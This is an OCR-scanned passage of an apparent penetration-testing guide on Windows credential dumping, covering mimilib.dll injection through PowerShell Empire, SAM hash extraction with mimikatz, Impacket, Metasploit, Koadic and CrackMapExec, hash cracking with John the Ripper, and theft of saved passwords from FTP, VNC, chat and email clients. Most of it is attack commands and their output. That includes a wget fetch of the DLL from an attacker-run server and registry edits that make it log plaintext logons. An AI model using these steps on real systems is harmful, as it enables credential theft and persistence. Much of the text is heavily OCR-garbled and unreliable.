# T .:I :_l I;:j l |£| I" i |: .r'l I:: E I:' -|: —- |: 0 Fal o

og W
1

LA
|T':

C:iWindows\svstem32>tvpe C:\W1n

[ 0PB06000 : 081b8ced] DESKTOP-I

C:\Windows\svstem3zZ2>

PowerShell Empire: mimilib.dll

In the manual method, everything that w did can also be done remotely through empire which is useful in
external penetration testing. The first step in this method is to send the mimilib.dll file from mimikatz folder
to the system32 folder in the target system. To do so, simply go to the mimikatz folder where the mimilib.dl|
file is located and initiate the python server as shown in the following image:

# 1s

mimidrv.sys mimlikatz.exe mimilib.dll

. # python -m SimpleHTTPServer «f
Serving HTTP on 0.90.0.9 port 8000 ...
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After that, through your session, run the following set shell commands to do the deed

fEth:rr: } » shell wget http:/F192.168.1.112 8000 /' mimilib.dll -owtfile mimilib.dll

[Empire: } =

- Command sEecuticn completed.

[Empire; b » shell reg add "hkle'systes'vcurrentcontrolset vcontrolisa'® /v *Security Packages® /d “ker
P ol

[Empire; } =
The cperation completed successfully.

- Command execution completed.

[Empire; b » ahdll reg query hklmdystemcurrestcontralsst vy contrelilasa’ Fv "Security Packagesn”™ o

-

[Empire: F =
HEKEY _LOCAL MACHINE:system‘.currentcontrolseticontraollsa
Security Packages REG MULTI =7 kerberes\Bnsvl 8\@schannel\Bwdigest@tspkgidpkulu’dmindlib

o Command execution completed.

From the above set of commands, the first command will download mimilib.dll from your previously made
python server into the target PC and the rest of the two commands will edit the registry key value for you. As
the commands have executed successfully, all now you have to do is wait for the target system to restart. And
once that happens your file will be created. To access the file, use the following command:

(Empire: ) » shell type kiwissp.log

(Empire: ) »

(02020000 000003e7] (00000002 ) WORKGROUP\DESKTOP-RGPZ09LS (DESKTOP-RGP209L%)
[@@@d0000: 2000b7c5] [P0008dd2] WORKGROUP\DESKTOP-RGP209LS (UMFD-1)
[e@0@20000: 3000b7dc] [0e00@0R2] WORKGROUP\DESKTOP-RGPZO9LS (UMFD-8)

[00000000: 000003es] [00000005] WORKGROUP\DESKTOP-RGP209LS (NETWORK SERVICE)
[00000000: 2OR11385] [00000002] WORKGROUP\DESKTOP-RGP20OLS (DWM-1)

[eo@ed00d:00113b8] [G0000002] WORKGROUP\DESKTOP-RGPZOILS (Dwe-1)

[eeeo0000: 000003e5] [oo@eesds] v (LOCAL SERVICE)
(00000000 : 0004379e] [Po000002] DESKTOP-RGPZ09L\raj (raj) 123

[e0000000: 000437ca] [o0000002] DESKTOP-RGP209L\raj (raj) 123

.. Command executlon completed.
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CREDENTIAL DUMPING: SAM
Introduction to SAM

SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It
acts as a database. All the passwords are hashed and then stored SAM. It is the responsibility of LSA (Local
Security Authority) to verify user login by matching the passwords with the database maintained in SAM. SAM
starts running in the background as soon as the Windows boots up. SAM is found in
C:\Windows\System32\config and passwords that are hashed and saved in SAM can found in the registry, just
open the Registry Editor and navigate yourself to HKEY_LOCAL_MACHINE\SAM.

How are passwords stored in Windows?

| To know how passwords are saved in windows, we will first need to understand what are LM, NTLM v1 & v2,
Kerberos.

LM authentication

LAN Manager (LM) authentication was developed by IBM for Microsoft’s Windows Operating Systems. The
security it provides is considered hackable today. It converts your password into a hash by breaking it into two
chunks of seven characters each. And then further encrypting each chunk. It is not case sensitive either, which
is a huge drawback. This method coverts the whole password string in uppercase, so when the attacker is
applying any attack like brute force or dictionary; they can altogether avoid the possibility of lowercase. The
key it is using to encrypt is 56-bit DES which now can be easily cracked.

NTLM authentication

NTLM authentication was developed to secure the systems as LM proved to be insecure at the time. NTLM’s
base is a challenge-response mechanism. It uses three components — nonce (challenge), response and
authentication. When any password is stored in Windows, NTLM starts working by encrypting the password
and storing the hash of the said password while it disposes of the actual password. And it further sends the
username to the server, then the server creates a 16-byte random numeric string, namely nonce and sends it
to the client. Now, the client will encrypt the nonce using the hash string of the password and send the result
back to the server. This process is called a response. These three components (nonce, username, and
response) will be sent to Domain Controller. The Domain Gontroller will recover the password using hash from
the Security Account Manager (SAM) database. Furthermore, the domain controller will check the nonce and
response in case they match, Authentication turns out to be successful. Working of NTLM v1 and NTML v2 is
the same, although there are few differences such as NTML v1 is MD4 and v2 is MD5 and in v1 C/R Length is
b6 bits + 96-bit +16 bit while v2 uses 128 bits. When it comes to the G/R Algorithm v1 uses DES (EGB mode)
and v2 is HMAG_MD5. and lastly, in v1 C/R Value Length 64 bit + 64 bit + 64 bit and v2 uses 128 bits. Now as
we have understood these hashing systems, let’s focus on how to dump them. The methods we will focus on
are best suited for both internal and external pen-testing. Let’s begin!
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WINDOWS /

PwDump/

This tool is developed by Tarasco and you can download it from here. This tool extracts the SAM file from the
system and dumps its credentials. To execute this tool just run the following command in the command

prompt after downloading:

C:slUzeprssrajsDesktopspuwdump? >Pulump? . exe
Pudump wi.1l raw password extractop
Author: Andresz Tarasco Acuna

url: http: 7vuw.514.es

-

Administrator:5HAINO PASEWOR Do st ssesens-esews-astsisws - 1] DECFEADIGAEY 31 BYYIC59YDYEACHAR
QCHA:z = :

et *LAT *HO PASS LI R s = b0 PO C LR T s
Fa] = 1000 NO PRSS WO R Dm0 PLEZ1 F1 ACBAEE /FB?CEBAS 32 DHS46A DG - -
pentest 11001 N0 PASS U0 R b e - n-an-am-amw s ACEZ] F1PCHAEE?FEYCEBRS 32 DHS46AD6 : -

CislsershrajsDesktopspuwdump’y 2

And as a result, it will dump all the hashes stored in the SAM file as shown in the image above. Now, we will
save the registry values of the SAM file and system file in a file in the system by using the following
commands:

Microsoft Windows [Uersion 6.1.7681]
Copyright <c?> 280? Microsoft Corporation. All rights reserved.

CisWindowsssystemds »reqg save hklmhsam C:IM\5é
The operation completed successfully.

CisWindowshsystemddrreg save hklmisystem ci’s
The operation completed successfully.

We saved the values with the above command to retrieve the data from the SAM file.
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SamDump?2

Once you have retrieved the data from SAM, you can use the SamDump2 tool to dump its hashes with the
following command:

] # samdump? system sSam
#disabled+* Administrator:580:aad3ib435b51404eeaadlibilsh51484ee:31d6cfeddl6ae931b73c59d7eBcBB9cO 11
sdisabled+* Guest:581:aad3ib&4isbhb5l4dseeaadihaiShilbfbee: I1dhcfeRdlhar931h73c59d7eBcBB9CB 22
raj:1009:aad3b435b51404eeaadibs35b51484ee: Tce2lfl7cBaee?Th9cebab32dd54b6adb : 1 :

Metasploit Framework: Invoke
Powerdump.psi

Download Invoke-Powerdump Script The method of Metasploit involves PowerShell. After getting the
meterpreter session, access windows PowerShell by using the command load PowerShell. And then use the
following set of commands to run the Invoke-PowerDump.ps1 script.

meterpreter > load powershell

Loading extension powershell ... Success.

meterpreter > powershell import /root/powershell/Invoke-PowerDump.psl

[+] File successfully imported. No result was returned.

meterpreter > powershell execute Invoke-PowerDump

[+] Command execution completed:
Administrator:580:aad3b&35b51404eeaad3ibs3is5b514B4ee:31d6cfeldl6ar931b73c59d7eBc@BIc &

Guest:501:a3ad3b435b51404eeaadibs35b51404ee: 31docTe@dloaed31b73c59d7eBc@BOCE -

raj:1000:aad3b&35b51404eeaadibaisb51404ee Tce2lfl7cPaee7fb9cebasS32d@546ads @ ::

meterpreter > |

Once the above commands execute the script, you will have the dumped passwords just as in the image above.
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Metasploit Framework: Get-PassHashes.ps]

Download Get-PassHashes Script Again, via meterpreter, access the windows PowerShell using the command

load PowerShell. And just like in the previous method, use the following commands to execute the scripts to
retrieve the passwords.

meterpreter > load powershell

Loading extension powershell ... Success.

meterpreter > powershell _import /root/powershell/Get-PassHashes.psl

[+] File successfully imported. No result was returned.

meterpreter » powershell_execute Get-PassHashes

[+] Command cution completed:
Administrator:500:aad3b435b51404eeaad3bs35b51404ee:31d6cfeddl16ae931b73c59d7e@cB®B89ch 1
Guest:5801:aad3ib435b51404eeaad3bs35b51484ee:31d6Ccteddlbae931b73c59d7eBCcBBICO
raj:1000:aad3b4s35b51404eeaadibs35b51404ee: Tce2lfl7chaee7fb9cebab32d0546ad6 ;::

meterpreter >

And VOILA! All the passwords have been retrieved.!!

PowerShell

Download Invoke-Powerdump Script This method is an excellent one for local testing, AKA internal testing. To
use this method, simply type the following in the Powershell:

L '--I-;-'-I-I—I-IJ "= I-IJ LT g MU B Y

'i:"i"i rl:.:ii=:;;;: : ‘*-.;rl‘-r'l,i"'-.'[illi 5 'I-.-'I'_.u I..I:i'ht[lrli;;l.:l :I':I'j:lr.';lll.l;ill-l.l'! . "~.l|1l|.l|l;i:.:1r—'|"|:||.-.lﬂ Fhump . psl
s CislserssrajsDesktop? Invoke—-PowerDump &
Adninistrator:500:aad3Ibh435h51484eeaadibd435051484dee : J1dbcFfeBdiface?I31b7?3c5?d7eBcPRIcB: 2 ;

Guest 501 aadib435hh148deeaadIb435h5148dee : 31dbcfePdltae?31h73c59d7eBcAR A

raj-1808:aadib435h5148deeaadibd3S5h51484ee - Vee2lfl 7cBaee 7 h?cebabS32d85%46ad6 - = =

PS C:xUserssrajsDesktop> _

And, it will dump all the credentials for you.
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WINDOWS 10

Mimikatz

There is a good enough method to dump the hashes of the SAM file using mimikatz. The method is pretty easy
and best suited for internal penetration testing. In one of our previous article, we have covered mimikatz, read
that article click here. So in this method, we will use token::elevate command. This command is responsible
for allowing mimikatz to access the SAM file to dump hashes. Now, to use this method use the following set of
commands:
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Impacket

0 Impacket tool can also extract all the hashes for you from the SAM file with the following command:

¥ ./secretsdump.py -sam Sroot/Desktop/sam -system /root/Desktop/system LOCAL
Impacketr i H 9.21. . dev]+28288220. 1d111ﬂ Bicheted - LLp,fl,lf 2020 Secureduth Corporation FEs
[#] Target system bootEey: @=4R95al7172d999a276cBoccT3bcf2odsf
[#] Dumping Llocal SAM hashes (uid:rid:lmhash:nthash)
ﬁjm1ﬂlulrd[Jf JHE 1ad~hhd b5 4H4FrddIJLu1=h41hHuLL 11d6 Fe&ditaei:iJ JL'HdT#H e89ch :::

DEFEUITAIIHUHF ﬁﬁj aad hh15h‘lwﬂkﬁﬂdaﬂjhﬂ_ DthﬂHtE._ldﬁ {Fﬁﬂ]hﬂHq lhlil ﬁdTHHEEHWI
WDAGUT1lityAccount : 504 : aad3ib4t35bS5ledbeeraadibaishslsdbes: 4IBLBIATIS Eﬁﬁdﬂﬁ;;;ﬂdhﬂﬂ1E3ﬁfffﬂ
ra): 1801 aadibi3Sh514088enadIbaIShS]1 40068 3dbdesdTdT1698a769204beb]12 283678 ;

[#] Cleaning up ...

Metasploit Framework: HashDump

' When you have a meterpreter session of a target, just run the hashdump command and it will dump all the
hashes from the SAM file of the target system. The same is shown in the image below:

meterpreter > hashdump =

Administrator:588: aad=hu1 b51s@4eeaadibsishels@b4es :31decfe@dlbae931b?3c59d7eBcABICA ¢
DEfauLtALcﬂunt.EEE.aad]hﬁ?EhEluEheeaad!hﬁ_EhEi#EHEE.JidtcfEﬁd1b12531b7EEEHdTEHEEEHEE.--
Eueﬁt:531:aadﬁhﬂ35nﬂlﬁﬂﬂreaadﬁnnaﬁhﬂlhaﬁﬂe:lldﬁcFeaﬂlﬁae?Ein?acE?d?eﬁiﬂs?iﬂ:::

ra1 19&1 aad]hﬁ]ﬁh‘thnEFaathﬁHShElhﬂnee-lddeEﬂTd1iﬁﬂEETEﬁ“HuhthIEE’EaE

ITIE'[F"II'F"'I:E - I

' Another way to dump hashes through the hashdump module is through a post exploit that Metasploit offers.
To use the said exploit, use the following set of commands:
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255 » pie postsSwindows/gather Tuashdump

gsf% post( 1 * set session 1
sEsslion == 1

gsf% post( 1 » exploit

dbtaining the boot key ..
Calculating the hbbot ey wsing SYSKEY 4895al7173d99SalTecBocTiGCl28dsET ...

Qbtaining the user List and keys ...
Decrypti;mg USEr Ke&ys ...

Dumping passsord Rints ..

N wsers with password hints on this systems
Dumping passmard hashes ...
Administrator: S80@:sadibielShSla@eeaadibaibhS1sdbdee: 31décfe@dlbae?31lb T IcS9dTeBoRBYCR o ;

GUeST (S8 aadibsIShSlsdbaaadd bk 2505 168466 UG CToddleaeU i iETICcSRd T o BAGCHE :: -
DefaultAdccount ; S81; aadiba1SbS14dteeand IbL 1505 1604ee : I1dbc fedd 1 Gae9 1B T IcSd oo @lScd 5 -

WhAGUT1L1tyACcoount : 584 aad3bs 35051 s@keeaad 3042505188589 S 38030 T 1 3bEeEaBAI 2580400 T3 966 = :

raji: 1000 aaddbelSh51l4benaadiba15b5140bee ; Sdbdeb9 T dT 16508769 I 0bbeh]1 20RI6 T8 - ;;

Post module exeEcution oomoleted

Metasploit Framework: credential_collector

Another way to dump credentials by using Metasploit is via another in-built post exploit. To use this exploit,

simply background your session and run the following command:

mEfsh > wie poit/windowi/gather/credentials/credest ial_collector L

i fS pastd ] » @t f4Esilon 1
SESS1lon = 1

msfS posti 1 » expladt

I-Ell--'.ng modu] = ﬂg.l.l'l.l HSETDE-F G FER
[#] Collacting Bathas ...
Extracted: Administrator:asdibsiShslsddaanidibgdohsledsan 3108 Tabdl&aad3 107305907 sboda9cl
Extracted: Cefaultbocount i aaddbalshsl4fdeeandibd G051 404ee | 206 fobd 1 Eae93107 1 59d P @A
Extracied; e el Anhh ] 4@4drrpad B ANh% 484 mr ; ] ddeteBd]da=8110 7 s 59d T efic il
ExEractied: ra):asdishlSnS]lsdkemaad iBA]505] &Bkee ; Jdbdsdd fdr1EFRa 'Y S BAEsRl S 7RIS H
Exrracted: MOAGUTILStyAcCOunt -aad3baIshSldbhddand SbeISB51 LBhid - 4 0BG 7 L Ib66RES 1 3 S B R8T a3 D664
Collacting toksns ...
DESETOP-PIGEFER v ra]
NT AUTHORITY\WLOCAL SERVICE
NT AUTHORITY NI TwloEs S8RVICI
NT AUTHORITE . SYSTEM
Aindow Manader" -1
Fomt Driver HostiviMFE-4
Fort Driver EgsiviNFE-1
Past Bodule #xecul iss compl#tad
TS pastd |

Metasploit Framework: load kiwi

The next method that Metasploit offers are by firing up the mimikatz module. To load mimikatz, use the load

kiwi command and then use the following command to dump the whole SAM file using mimikatz.
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mierpreier » toad ki
Loadaing exEermion kLWl ..
Nyl mimibkatr 2.2.8 Z2ELRPL1ZE [ =B wincoms |
W Y BF. A La Vie, A LU'émaur® - (os.sal
i / M fwew Benjamin DELPY genfiilkawa | Benjamindgentilketmil . com )
L] | ¢/ I s hEtp:/fblos..genELikiw) . conmimLkaks
" e B VircenE LI TOUK L vincent. lrtcuxigmall . con
Ardra > MEp:/'pingcaatle.com f KEip:/'eysmartiagan.com wesf

SUCTFEL.
mirrpreter » xa_cump nam
¢ | Furnnaing ax SYSTION
Dumping SN
Domain @ MNSETDP-PIGIFER
Frakey @ 4B alV]1VidP9Ral TEcBoe T AT IR E
Local 510 = 5-1-3-J1-JBNLIGEA]1L-S1LESNSED -IEANL Y TR

ey - eRPalltEcshabref LA tSec B Ca 17E

ELD abaEE1ts |50 |
L wr ddmanixErator

ELD SdB1TE LSEL )
Uupr @ Guesi

ELD BT L5E )
Lk wr Owtaullticcawunk

FID : SBOBE1fE (58]
Uner : NDALUELE LEpRcrcount

Hash HTLIN: 41888 1atLllbEdadEN 1S BasdbtelEcE
FID : Siaddlsf [1EB1)

thier ©: TR)]
Hash HTiN: JabasE9Td TLEDBha MR B b b LI EIETE

misrprekar -

Kodiac

Once you have the session by Koadic G2, use the hashdump_sam module to get passwords as shown below:

koadic: use hashdump_sam
koadic: EXECUTE
Zombie @: Job @ (implant/gather/hashdump_sam) created.
Tombie Tab (implant/gather/hashdump_sam) received SAM hive (70458 bytes)
Zombie @: Job @ (implant/gather/hashdump_sam) received SECURITY hive (75581 bytes)
Zombie @: Job @ (implant/gather/hashdump_sam) received SysKey (64739 bytes)
Zombie @: Job @ (implant/gather/hashdump_sam) decoded SAM hive (/tmp,/SAM.192.168.1.186.7%
Zombie @: Job @ (implant/gather/hashdump_sam) decoded SECURITY hive (/tmp/SECURITY.192.1¢
Zombie @: Job @ (implant/gather/hashdump_sam) decoded SyskKey: @=4@895a17172d99%9a276cBcc7ibef
[+] Zombie @: Job @ (implant/gather/hashdump_sam) completed.
Impacket v@.9.17-dev - Copyright 2882-2818 Core Security Technologies

[#] mmning Tocal SAM hashes (uid:rid:Imhash:nthash)
Administrator:588:aadibs3isb5lsdbenaadibsIShs1idbee  31d6cFeddlfand3lb? Ic59dTeBc@ASCh 11

Guest 58] :aad3ibsishSl404eeandibsIShSls@4ee ; 31dE6cfeddlGae31b73cS9dTedcBADCH 1

PefaultAccount : 583 : aad3ibé35b51484eeaadibs35h51486ee : 31d6cFeBdl a3 1bT3c59dTeBc@ASC 12

WhaAGUT AL 1t yAccount - 584 : aadibs35h5]1 4Bseeaadibe3Sh5 ] 4B5ee  S3RLA3AT13066ARA35BaLA0Fe 3966 Cd 12
raj;IEEI:aadithEh51ﬂHLeeaadlh&HEhﬁlhﬂﬁee;3dhd559?d?1ﬁﬂnaiE?Eiﬂhebllzﬂ3ﬁrﬁ:;:

[#] Dumping cached domain logon information {(wid:encryptedHash:longDomain:domain)

[*] Dumping LSA Secrets

[#] DPAPT SYSTEM

epad g1 84 0@ 2@ 1d 20 OF 76 OC C9 B85 BE 92 C8 DC 79 i S L ot ¥

ea1a C9 28 &E 22 35 24 AR XC D1 1% D@ 8A &1 B2 ED 9B AN"5%.,....2...

ebzd Ca Fé A9 BD 4A F OC OB B9 BB 31 EE Tt (et tatat A

DPAPT_SYSTEM:@1080084102ddf P6dccR@S8be2cBdcToci2B4ed 2352838 cd119dRBatlbled9bcafdafbdsafidcdbbdibiles
[*#] NLSEM

Baag E& FD 66 12 5. L 34 11 @1 DF 56 18 F& ES BF o Fo RALE ..o We o ..

edla 39 B4 9] E & CF 92 g8 91 3IC &3 BR ES O (R.D. " .2C..

L] g 98 DF A8 W, ; B} F8 &9 &E 12 3L F5 DF 5B - L .

L]0 24 FF 7@ 5C &8 &F &E A® @81 C3 93 o Peeas s \HOM. ...
NLSEM:e6fd661252316c341181df5618FabdTI0ba912852bF 9564 TI260913ck3bBas9bdfa@d2c9Tefebd 782960123 fS5d 758
[#] Cleaning up ...

5
1
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Powershell Empire: mimikatz/sam

Once you have the session through the empire, interact with the session and use the mimikatz/sam module to
dump the credentials with help of the following commands:

{Empire: b » piemodule cusemodule credentials/mimikatz/ same
[Empire: } » execute I

[Empire:
Job started: I6CWNG

Hostmame: WIN-NFWRDZ/TTED & S=1=5=21-3088983562 -J00]160468-17735145

ETETE. mimikatz 2.1.1 (x6&) buwilt om Now 172 2817 15:32:909
B8 " B, A La Vie, A L'Amour® (o, 80)
gx S\ 2 Sews Bamjamin DELFY gentllkiwd i benjaminggentllkiwl . Com ]
gx \ J = » http:/blog.gentilkiwi.com/mimikatz
o - BT - & Vimcent LE TOUX [ vincent.letouxggmail.com )
‘sxaap’ » http:/fpingcastle.com / http://mysmartlogon.com b

mimikatz{powershell) & tokenm:zelevate
fokem Id @ B

User name :

510 mame :© NT AUTHOHLTYAWSYSTEM

JHS {@;00d0d3=7}) @& D 13486 NT AUTHORITY\SYSTEM >—1-5-18 [ By, J0p,
—+ Impersonated !

# Process Token : iH:HﬂHﬁfcde 1 F 468154 NIN-NFMRDI7ITED ra) G-1-5-21-1008083!
# Thread Taken : {@;000@83e?) @ O SO3O8T6 NT AUTHORITYWSYSTEM f-1-5-18 |

nimikatz] powershell) ¥ lLaadump:: cam

Domain : WIN-NFNRDITITED

Syskey

Local SID ; S5=1-5-21-F38QBPBIS56Z-Z200188468-17735145

SAMEKey : TRFOGCCR5aB533IARACTiVabeal Fldede

RID : ddd@difs (S0d)
Uger ; Administrator
L :
NTLN :

RID : G&adnirs (561)
Lser : GBSt

LM :

NTLM :

RID : Bad3el (1808 )

User : raj

LM 1

NTLM : Toe2lflicBaeelfbPcebati2ddsSstadd

RID : Dodgdied (1091)
Uger ; pentest

LM |

NTLM :

8 This exploit will run mimikatz and will get you all the passwords you desire by dumping the SAM file.
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La/agne

I LaZagne is an amazing tool for dumping all kinds of passwords. We have dedicatedly covered LaZagne in our

previous article. To visit the said article, click here. Now, to dump SAM hashes with LaZagne, just use the
following command:

8 VYay!ll All the credentials have been dumped.

CrackMap Exec

CrackMapExec is a sleek tool that can be installed with a simple apt install and it runs very swiftly. Using
CrackMapExec we can dump the hashes in the SAM very quickly and easily. It requires a bunch of things.

Requirements: Username: Administrator Password: ICSS IP Address: 192.168.1.105 Syntax: crackmapexec smb
[IP Address] -u ‘[Username]’ -p [Password]’ —sam

v=R crackmapszec smb 187,188 .1.18% -u "ASminiEErator” -g |CSS
. 1bH.1. TIN5 5455 MIR=5

¥ IEMTYLEOD Hindowi SEFver 2918 SCandag v LUGEieA 16391 =64 [ Shis WIN-SOYTENTYLOZ } [dosais: L0
§2.16E.1_1H5 55 WIN-SHTEMTYLDY |[+] IGHITE“Adminlscrator: IgndltoageE? | Penid! )

%3.168.1.185 45 WIN-5HVIEMTYLDZ t| Dumoling ZAM haskss

_;! I_I:lF_| ] I_ﬂrl h r_l -[H-:'I i':'-'!'Tllll_l-lz fidmi BTTEEGT T UM TR TR TS ELELT R |
VAEETVLEY Guexst:-501;:m=llbsinES 140
o _1BH. 11NN 5 NIR-5ENTYLOE  Defan ACED

§2 . 1668.1.185 5 WIK-58VTEMTVLO ¢ ] Added 2

=i

5.108,.1. 080 b WIR-5

= o5
X
= |
r
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Decypting Hash: John the Ripper

John the Ripper is an amazing hash cracking tool. We have dedicated two articles to this tool. To learn more
about John The Ripper, click here — part 1, part 2. Once you have dumped all the hashes from the SAM file by

using any of the method given above, then you just need John the Ripper tool to crack the hashes by using the
following command:

:~# john —format=NT hash —show &
raj:123:1001:aad3b435b51404eeaad3bs35b514046e : 3dbde697d71690a769204beb12283678 1 ::

1 password hash cracked, 8 left

§ And as you can see, it will reveal the password by cracking the given hash.
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CREDENTIAL DUMPING: APPLICATIONS
PowerShell Empire

Empire provides us with a module that allows us to retrieve the saved credentials from various applications
such as PuTTY, WinSCP, etc. it automatically finds passwords and dumps them for you without requiring you
to do anything. Once you have your session in the empire, use the following commands to execute the module:

[Empire: } » usemadule credentials/sessiongopher
[Empire: ] = Execute

SR55 lonGopher EFE, WnSCF, FllaZilla, PuTTY, SugarPuTTY,
sdtid, .rdp, .ppk saved session & password extractor

Bramdon Arvanaghi
Twitter: @arvanaghi | arvamaghi.com

FileZfilla Sessions

Source v DESETOF-1HHES TN UseT

Name I test s1te

Password ; 113

Hi&E s 197 .168.15%3.133

User ! USEr

Protocol @ Omly use plain FTP {(insecurs)

Port r 31

SuperPul 1Y Sessions

Source
Sessionid
Seds fanhamse
HOS&T

s & F N2
Extradrgs
Fore

Futty Se&s5i10n

Sarce
Sessianld
LassionNane
Host

LT I8
Extrakrgs
Port

Futty Session

SHiPCE
Sessionld
SessianhNanes
alin- 14

L5 & F Nl
ExtraArgs
rort

.
Putty Session ;

r DESKTOF-1HHBGIN Usar

: ImportedFromPut™TY user
i User

: 192.168.152.133

-
L UsEr

¢ DESKEVUFP-1HHEE LN iser

s ImpartedF romEPuTTY fusar]
r usarl

r 192.168.15%2.133

F¥.

userl

C ESKTOP=1HHBGIN isar
r tEst

i test

¢ 192.168.152.13]

v USET

[efawlt Serrings
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' And as you can see in the images above and below, it successfully retrieves passwords of WinSGP, PuTTy.

Microsoft Remote Desktop (RDP) Sessions

Source
HostTnama
Username

DESKTOP-1HHBEIM\User

192.168.154.1.29
user

WinsSCP Sessions

SouUrce
SESS 10N

Hostname
Username
Fassword

Source

Session
HostTname

Isername
Password

Source
Session

HoStnamea
Username

Fassword

DESKTOP-1HHBG6IM\User
DefaultX2@Settings

DESKTOP=1HHAEIM\User

user
192.168.152.133

USer _-
123 ©

DESKTOP-1HHBGIM\User
userl

192.168.152.133

PUTTY Sessions

SouUrce
Sess1on

HoOSTnamea

SOurce
SESS 10N

Hosthname

DESKTOP-1HHBEIM\User
savedEZ2@credsElétest
p L . P Y

DESKTOP-1HHBGIM\User
test

192.168.152.133

Now we will focus on fewer applications and see how we can retrieve their passwords. We will go onto the
applications one by one. Let’s get going]
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CoreFTP: Metasploit Framework

Core FTP server tool is made especially for windows. It lets you send and receive files over the network. For
this transfer of files, it uses FTP protocol which makes it relatively easy to use, irrespective of the Operating
System. With the help of Metasploit, we can dump the credentials saved in the registry from the target
system. The location of the password is HKEY_CURRENT_USER\SOFTWARE\FTPWare\CoreFTP\Sites. You can

run the post-exploitation module after you have a session and run it, type:

msf5 > use post/windows/gather/credentials/coreftp

msfS post( ) » set session 1
session = 1

msf5 post( ) » exploit

Looking at Key HKUA\S-1-5-21-3798@55023-1038230357-202
l+] Host: 192.168.152.133 Port: 21 User: user Password:
Post module execution completed
msfS post( ) > |

FTP Navigator: laZagne

Just like Core FTP, the FTP navigator is the FTP client that makes transfers, editings, and renaming of files
easily over the network. It also allows you to keep the directories in-sync for both local and remote users. We
can use the command lazagne.exe all and we will have the FTPNavigator Credentials as shown below:
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FTPNavigator: Metasploit Framework

The credentials of FTPNavigator can also be dumped using Metasploit as there is an in-built exploit for it. To
use this post-exploitation module, type:

msf5 > use post/windows/gathers/credentials/ftpnavigator

msf5S post( )} » set session 1
session = 1

nsf5 post( )} » exploit

l+] Host: 192.168.152.133 Port: 21 User: user Pass: 123
Post module execution completed
nsf5 post( Y} » B

FileZilla: Metasploit Framework

FileZilla is another open-source client/server software that runs on FTP protocol. It is compatible with
Windows, Linux, and macOS. It is used for transfer or editing or replacing the files in a network. We can dump
its credentials using Metasploit and do so, type:

r=piien Ex

[ SR
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HeidiSQL: Metasploit Framework

It is an open-source tool for managing MySQL, MsSQL, PostgreSQL, SQLite databases. Numerous sessions with
connections can be saved along with the credentials while using HeidiSQL. It also lets you run multiple

sessions in a single window. Management of database is pretty easy if you are using this software. Again, with
the help of Metasploit we can get our hands on its credentials by using the following post-exploitation module:

mEfS > use post/windows/gather/credentials/heidisqgl

msf5 posti ) » set session 1
session =+ 1

msf5 post( ] » explolt

192.168.1. 104249788 - Looking at Key HELWS-1-5-21-3796B855823-18368230357-2023819303-1081

[#] 192.168.1.104: 459788 - Service: mysql Host: 192.168.1.182 Port: 1384 User: ignite Password: 123
Post module execution completed

msfS posti i = |}

Email: Mail Passview

All the email passwords that are stored in the system can be retrieved with the help of the tool named Mail
PassView. This tool is developed by Nirsoft and is best suited for internal pentesting. Simple download the
software from here. Launch the tool to get the credentials as shown below:

=

HEGE 3R
Ermail 5 Secuired Liges Fassvennd Prodile Fassweord SENe... SSATF SaEne
ICSS % HNao C 130, Quitlook #s=  Yery Strong M. gma
ICSS 3 Ha Ig 87 i Very 3Enong
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Pidgin: Metasploit Framework

Pidgin is an instant messaging software that allows you to chat with multiple networks. It is compatible with
almost all Operating Systems. It also allows you to transfer files too. There is an in-built postexploitation
module for pidgin, in Metasploit, too. To initiate this exploit, use the following commands:

psfs > use post/multifgatherpidgin_cred
mifS poEty I = g8T gesslon 1

sESTloen =% ]
BEFS poETy i explalt

Checking for Pldgin prafile fm: CIhUsers User\Applata'Aoaslng
Fownd C:\Users'User\dpplata'\Roaming' .purple
Aeading accounts.sml File from CoilsersiUsersAppData‘Roamingh.,purple
Collected the followimg credemtials:
SETVET: Slogim.oscar.anl . com:5]0@
Frotocol: prpl-aim
UseFname: usarlil
Fassword: passldd 9

= following credemtials;
< Ll B M == 52058
prpl-bosjour
Us&Enama: usar
Password: <unknowrs:

Following credemtials;
SETVET: UK NN > < LN e
Protocal: prpl-gg
Username: userli3
Password: wseri2d ™=

sllected the following credeatials;
SErFVET: <Enknosn=:52317
Protocal; prpl-jabber
Username: nfnfikdssnfassail . com/
Pasewsrd: passlld

Callected the followlmg credeatials:
Server: 2388
Pratocal; prpl-novell
Username: khkhhsk]
Fassword: passli3

Sarvar: slogim.icg.com:51548
Protocal;: prpl-icg
Username: 123455E

Fassword: passiz]

Callected the fFollowlmE credeatials;
SErVEer: <unknosn=:&LET
Pratocal: prpl-1r
Username: userliiglirc.fresnode. net
Paseward: passl?l

Cellectead the followleg credemtlals:
Server: silc.silcret.arg: T8
Protocol: prpl=silc
Username; wserl2idsilonet.org
Password: passlid

And all the credentials will be on your screen.
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PSI: LaZagne

PSl is an instant messenger that works over the XMPP network. It also allows you to transfer files. It is highly
customizable and comes in various languages. Using lazagne.exe chat command in LaZagne you can dump its
password as shown in the image below:

PSI: PstPassword

| Nirsoft provides a tool that lets you retrieve all the PST passwords from Qutlook. You can download this tool
from here. Simple launch the tool and you will have the passwords as shown below:

3 = ¥ 3 A

Filemarmne Encryption Version CRC Value Password 1 Pasoword 2
ICSS Compressible 23 DweeSdac 75 TAMCS kz5g04
ICSS Compressible 23 D« 7709bach HdLQMA
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VNC: Metasploit Framework

\VNC is a remote access software that allows you to access your device from anywhere in the world. VNC
passwords can be easily retrieved by using Metasploit and to do so, type:

mafs > ute postSwindows/gather/credentials/vnac
msfS post( Y » st sessiom 2
=
msfS post( ) » enploit
Enmmerating VNC passwords om DESKTOP-1HM@GIN
[+] Location: TAghtWN HELM =% Hash: dibSdb88afe8l¥acc =+ Fassword: 173 == Fort: 5998
|+] Location: TAightWNC_HELM_Control_pass = Hash: eb75dicacdlVdbds =+ Password: ignite = Port: 5990
Post module execution completed
msfs post( I

WinSCP LaZagne

WinSCP is an FTP client which is based on SSH protocol from PuTTY. It has a graphical interface and can be
operated in multiple languages. It also acts as a remote editor. Both LaZagne and Metasploit helps us to
retrieve passwords. In LaZagne, use the command lazagne.exe all and it will dump the credentials as shown in

the image below

Password found
19Z2.168.152.133

Login: user
Password: 123

rort: 2.2

i
-

word not found
.152.134
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WinSCP: Metasploit Framework

@ To retrieve the credentials from Metasploit, use the following exploit:

msf5S > use post/windows/gather/credentials/winscp of

msfS post( ) » set session 1
ion =2 1
5 post( ) » exploit

Looking for WinSCP.ini file storage ...
Looking for Registry storage ...

[+] Host: 192.168.152.133, IP: 192.168.152.133, Port: 22, Service: Unknown, Username: user Password: 123
Post module execution completed

